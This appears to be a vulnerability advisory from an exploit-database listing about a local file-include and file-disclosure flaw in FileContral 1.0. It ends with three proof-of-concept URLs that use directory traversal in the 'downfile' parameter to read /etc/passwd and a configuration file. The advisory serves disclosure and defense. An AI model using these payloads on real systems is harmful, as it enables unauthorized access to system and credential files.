FileContral Local File-Include and Local File-Disclosure Vulnerability

vendor:

FileContral

by:

SecurityFocus

7,5

CVSS

HIGH

Local File-Include and Local File-Disclosure

CWE

Product Name: FileContral

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

FileContral Local File-Include and Local File-Disclosure Vulnerability

FileContral is prone to a local file-include and a local file-disclosure vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to view and execute local files within the context of the webserver process, obtaining potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/55891/info

FileContral is prone to a local file-include and a local file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to view and execute local files within the context of the webserver process, obtaining potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

FileContral 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php